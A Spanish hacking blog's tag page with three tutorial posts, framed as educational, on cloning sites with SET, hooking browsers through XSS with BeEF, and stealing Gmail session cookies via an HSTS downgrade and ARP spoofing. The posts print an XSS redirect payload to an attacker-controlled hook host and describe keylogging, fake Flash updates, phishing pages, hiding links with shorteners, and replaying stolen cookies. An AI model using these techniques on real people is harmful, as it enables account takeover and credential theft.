Mostrando entradas con la etiqueta ingenieria social. Mostrar todas las entradas
Mostrando entradas con la etiqueta ingenieria social. Mostrar todas las entradas

jueves, 7 de julio de 2016

Setoolkit + BeEF

Buenas hackers! En esta PoC os traigo como clonar un sitio web mediante la ingeniería social en un entorno controlado, es decir, virtualizado dentro de la misma red virtual que nos proporciona VMware. La prueba de concepto la podeís encontrar grabada y editada en el canal de Youtube del blog, Rabbit Hutch


Consiste en el uso de SET, una de las herramientas de ingeniería social más potentes en el mundo de la ciberseguridad y el hacking.
También se usa la herramienta BeEF pudiendo mejorar el ataque de ingeniería social mediante la inyección del hook.js, y así usar el framework para usar exploits con la combinación de Metasploit, con el objetivo de obtener información del sistema operativo, cookies, direccionamiento IP, el cliente del navegador etc...

El uso de BeEF para realizar una fase de explotación en el sistema y recolección de información se verá en otros vídeos más adelante en el canal Rabbit Hutch.
Aún así tenemos una buena entrada en el blog sobre el uso de BeEF
Si quereís saber más información sobre este nuevo proyecto visitar la web de Rabbit Hutch

Proof of Concept


Un saludo, Naivenom

lunes, 30 de mayo de 2016

Automatizando vulnerabilidades XSS con BeEF

Buenas compañeros,

Con esta entrada quería presentaros, aunque imagino que algunos ya lo conoceréis, la herramienta BeEF. Desde mi punto de vista es un pasada de herramienta muy útil y recomendable.



BeEF es una herramienta para automatizar ataques XSS contra aplicaciones web vulnerables del lado del cliente. BeEF contiene un gran arsenal de payloads y ataques contra el objetivo  para conseguir información útil como el sistema operativo, cookies, IP, navegador,...

BeEF ya se encuentra integrada en Kali Linux, por lo que prácticamente nos basaremos en su arranque y ya la tendremos lista para jugar.

Para ello, accediendo a la ruta /usr/share/beef-xss. 





Una vez ahí se ejecuta el fichero beEF: ./beef





También se puede ejecutar clicando en el icono del herramienta en la barra que han añadido en Kali Linux 2.0

Como se observa en la captura anterior, se puede acceder vía web en la url indicada:

http://127.0.0.1:3000/ui/panel

De tal manera que se accede al panel de login:


Seguidamente, introduciendo los credenciales por defecto (beef/beef), se consigue acceso:




Una vez con BeEF ya listo, comienza la prueba de concepto (PoC).

En primer lugar, hay que detectar una vulnerabilidad XSS reflejado o persistente en un aplicación web. Entonces introduciendo una inyección de código del estilo:

'><script>document.location="URL";</script>

BeEF tiene dos escenarios montados en un Apache,siendo uno de ellos algo más currado que es el que vamos a emplear:




Por lo tanto, se inyecta esta url en el input que detectemos vulnerable en una aplicación web:

'><script>document.location="http://172.16.1.2:3000/demos/butcher/index.html";</script>

Para esconder un poco la url, podemos utilizar acortadores de url online como https://bitly.com/ 

De esta manera, cuando una víctima entre en el XSS será redirigido a la página de beEF y se convertirá en un zoombie. Se entiende por zoombie, a un cliente, siendo éste el navegador web de la víctima que tras haber sido objeto de un XSS se dirige a una página controlado por BeEF.
En dicha página, se ejecuta el script (http://127.0.0.1:3000/hook.js) de hook, que se ejecuta cuando la víctima visita la página de BeEf.


Cuando una víctima se conecta, aparece en la vista de "Hooked Browsers":



Como se puede apreciar, un PC con la IP 192.168.1.33 con un sistema operativo Linux y con el navegador Firefox se ha conectado. En la vista de detalles, se aloja información muy útil de la víctima: versión de navegador y sistema operativo, componentes de software instalados (flash, RealPlayer, QuickTime,...)

En la vista de Logs, irán apareciendo todos los eventos del zoombie, mientras que la más interesante es la de Commands, en la que se tienen todos los módulos de BeEF.


Hay que indicar la leyenda de los módulos:

- Verde: La víctima es vulnerable y su ejecución pasa desapercibida.
- Naranja: La víctima es vulnerable pero su ejecución no pasa desapercibida.
- Gris: Indeterminado. ¡Hemos venido a jugar!
- Rojo: La víctima no es vulnerable.

Para comenzar es puede hacer un poco de fingerprinting.  Para ejecutar cualquier módulo es tan fácil como clicar en el, rellenar lo que se pida y en la parte inferior clicar en ejecutar.

Por ejemplo, se podría obtener la cookie:



Detectar si tiene RealPlayer:



Vamos a lo divertido, hay un módulo para que la víctima proporcione permisos para activar la cámara por ejemplo,



Sin embargo, en este caso no usa cámara, pero el mensaje que ve el zoombie es el siguiente:


Revisando los logs, podemos saber todo lo que ha hecho la víctima una vez ha visitado la página de BeEF



Como se muestra en la imagen, se ve todos los datos que ha introducido en los inputs del formulario de la página (un buen keylogger ejecutándose). También dónde ha movido el ratón, prácticamente se puede monitorizar todo el comportamiento del zoombie.¿Mola eh?

Volviendo a los módulos, podríamos instar a la víctima a descargarse una versión de Flash Player (que siempre hay que estar actualizando debido a toda las vulnerabilidades que tiene).
Para ello, en la vista de Ingeniería Social -> Fake Flash Update. En él se indica lo que se desea que se descargue la víctim (por defecto, viene el código de github de BeEF), pero si fueramos chicos malos, podríamos hacer que se bajará un keylogger...



En el zoombie, se vería la siguiente ventana:



Independientemente de donde clique el zoombie (Instalar, recordar más tarde, cerrar o incluso cambiar de pestaña) se pedí confirmación para la descarga del supuesto Flash.

Por último, tiene módulos para hacer un phishing tanto de gmail como de Facebook. En la mismo sección de Ingeniería Social seleccionando Google Phishing:




De tal manera, que la víctima vería el panel de login de gmail, que visualmente es igual.





De tal manera, si una víctima que no se dé cuenta, introduce sus datos, se le indicará que se ha producido un error y se le redirigirá automáticamente al sitio web oficial de gmail.

Mientras tanto en BeEF, nos aparecerán en BeEF:




Como habéis podido ver BeEF es una herramienta muy poderosa para automatizar ataques XSS secuestrando el navegador de la víctima. Ahora bien, estos ataques sólo funcionan mientras la víctima se encuentre en la página trampa de BeEF si no, no tiene efecto. Una vez que cierre el navegador se acabo, BeEF no tiene persistencia en la víctima. Sin embargo, mientras éste ahí se pueden explotar muchas cosas.

Además, BeEF se puede integrar con Metasploit para trabajar conjuntamente. Adicionalmente, hay otra herramienta llamada Subterfuge que posibilita realizar ataques Man in the Middle y también es integrable con BeeF.

Os puedo adelantar que se harán tutoriales y PoC's de estas integraciones pero más adelante =D

La finalidad de esta entrada es con fines educativos, por lo que no somos responsables para otro uso que se le pueda dar.

Espero que les guste =D

Cualquier duda dejen su comentario.

Saludos.

NaxHack5

La mejor defensa es un buena ataque







miércoles, 2 de marzo de 2016

Evil GO.ogle

Buenas hackers!
En esta prueba de concepto os explicare como una persona con fines mal intencionados puede obtener el correo electronico Gmail de los empleados de una organización a través de Twitter como medio de propagación.



A traves del bypass del hsts conocida por @ShargonXL, el link http://www.google.es/?gws_rd=ssl fuerza el http saltandote el https, capturando la cookie de sesión de la cuenta de Gmail si ese usario previamente esta logeado en el navegador. Es un fallo de seguridad ya que un usuario mal intencionado puede enviar ese link a traves de ingenieria social y con un ataque man-in-the-middle obtener la cookie y sesión de Gmail.
¿Se consideraria un fallo de seguridad el degradar de https a http? Si se da el caso o la opinión de que no lo es, ¿por qué se implementa el sistema de seguridad hsts? El hsts precisamente consiste en evitar que una pagina web nunca vaya por http, porque es un protocolo inseguro, entonces ¿por qué el hsts de Google no funciona con ese link?, si la medida de seguridad hsts no funciona un atacante mal intencionando mediante Man-In-The-Middle tiene una capacidad enorme para interceptar las peticiones y respuestas entre un usuario y un servidor de aplicaciones web, es decir, se manda el link,  se abre un esnifer para capturar el trafico, pincha la victima y se obtiene la cookie y el email, saltando el https de Google.

Proof of concept by naivenom,
El empleado con conocimientos de hacking y con sintomas de Burnout (esta quemado con su trabajo :S), realizará un ataque Man-In-The-Middle estando en medio de la comunicación interceptando la información entre el emisor y receptor. Para ello tendrá que estar en la misma red LAN, y utilizar el protocolo IPv4 para el intercambio de datos.
El ataque esta basado en ARP Spoofing, donde el atacante con malas intenciones se colocará entre el router y la victima. Cuando el router envie tráfico a la victima, este pasara primero por la maquina del atacante.
El protocolo ARP permite el conocimiento de la dirección física de otro dispositivo partiendo de la base que conoce una dirección IP.




El planeamiento del ataque deberá ser meticuloso y saber el medio de propagación del link. En este caso el atacante usará el Twitter y mediante ingenieria social convencera al personal de la empresa para seguir esa cuenta. Propagará el link con un mensaje privado a todo el personal diciendo que el lugar del restaurante donde van a cenar es este: http://www.google.es/?gws_rd=ssl

Una vez planeado el ataque, empieza el ataque Man-In-The-Middle:

PASO 1: 

Será necesario que el atacante tenga un portatil y acceso a la red. Cumple de sobra estos requisitos. Abrira el programa EvilFOCA para realizar el ataque Man-In-The-Middle.


Una vez envenenado la tabla ARP de la victima, todos los paquetes enviados entre router y victima pasarán por nosotros.

PASO 2: 

Ahora procedemos a abrir un esnifer de paquetes de red como por ejemplo Wireshark.
Quizas sea este el paso más delicado y dependemos de varios factores:
  • Tiempo que haya de interacción entre victima y el software Twitter
  • Si la victima pincha el enlace o no. Se presupone de nuestra previa habilidad en convencimiento y confianza que le ofrecemos a la victima. 
Una vez que la victima pincha el enlace desde su maquina, se le abrirá la pagina de google y si hay suerte de que tenga ya logeada la cuenta de Gmail, obtendremos la cookie y el correo.


Guardamos la captura en .pcap

PASO 3:

Analizaremos la captura hecha con el software Fiddler.
Podemos observar que a través de la petición GET, obtenemos el Gmail de la victima con tan solo estar logeada.


Con el correo electronico podemos realizar ataques de phishing o envio de malware, obteniendo una shell del sistema victima.

PASO 4: 

Al capturar el tráfico, obtenemos unas cookies. De un modo u otro instalando una extensión en chrome podemos replicar esas cookies y tener la sesión loegada del Gmail victima en nuestra maquina. También deberemos modificar el user-agent con otra extensión proporcionada por Chrome:





Replicamos las cookies que obtenemos en la captura de Wireshark o Fiddler y la añadimos o editamos en nuestro navegador:


Actualizamos con la replica de las cookies obtenidas mediante el esnifer y escribimos la URL del link:



Como pueden observar es fácil a traves de un ataque Man-in-the-middle y el bypass del hsts, obtener información sensible como puede ser el correo electronico o el nombre y apellidos.

P.D Esta prueba de concepto esta realizada con fines educativos siempre en un entorno de trabajo propio, usando la propia red LAN y cuenta de correo (en este caso) de Gmail. No nos hacemos responsables de su mal uso.


Google Analytics